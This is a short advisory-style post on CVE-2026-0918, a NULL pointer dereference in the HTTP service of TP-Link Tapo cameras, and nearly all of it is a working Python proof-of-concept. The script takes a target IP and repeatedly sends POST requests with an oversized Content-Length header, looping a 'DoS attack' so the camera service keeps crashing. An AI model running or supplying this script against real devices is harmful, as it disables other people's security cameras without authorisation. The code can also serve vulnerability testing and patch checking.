CVE-2026-0918: TP-Link Tapo系列摄像头HTTP服务NULL指针解引用拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-0918 PoC - TP-Link Tapo Camera HTTP Service DoS Description: Send POST request with oversized Content-Length header to trigger NULL pointer dereference and crash the service. """ import socket import time import argparse def send_malicious_request(target_ip, target_port, content_length): """ Send a POST request with an excessively large Content-Length header to trigger the NULL pointer dereference vulnerability. Args: target_ip: Target camera IP address target_port: HTTP service port (default: 80) content_length: Oversized Content-Length value """ # Construct the malicious HTTP request request = f"POST / HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Content-Length: {content_length}\r\n" request += "Connection: keep-alive\r\n" request += "\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(request.encode()) print(f"[+] Malicious request sent with Content-Length: {content_length}") sock.close() return True except Exception as e: print(f"[-] Error sending request: {e}") return False def dos_attack(target_ip, target_port, iterations=10, delay=2): """ Perform denial of service attack by repeatedly sending malicious requests. Args: target_ip: Target camera IP address target_port: HTTP service port iterations: Number of attack iterations delay: Delay between requests in seconds """ print(f"[*] Starting DoS attack against {target_ip}:{target_port}") print(f"[*] Sending {iterations} malicious requests...") # Use an extremely large Content-Length value oversized_length = 99999999999999999 for i in range(iterations): print(f"[*] Iteration {i+1}/{iterations}") send_malicious_request(target_ip, target_port, oversized_length) time.sleep(delay) print("[*] Attack completed. Service should be continuously crashing.") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2026-0918 PoC') parser.add_argument('--target', required=True, help='Target IP address') parser.add_argument('--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('--iterations', type=int, default=10, help='Number of attack iterations') parser.add_argument('--delay', type=float, default=2.0, help='Delay between requests (seconds)') args = parser.parse_args() dos_attack(args.target, args.port, args.iterations, args.delay)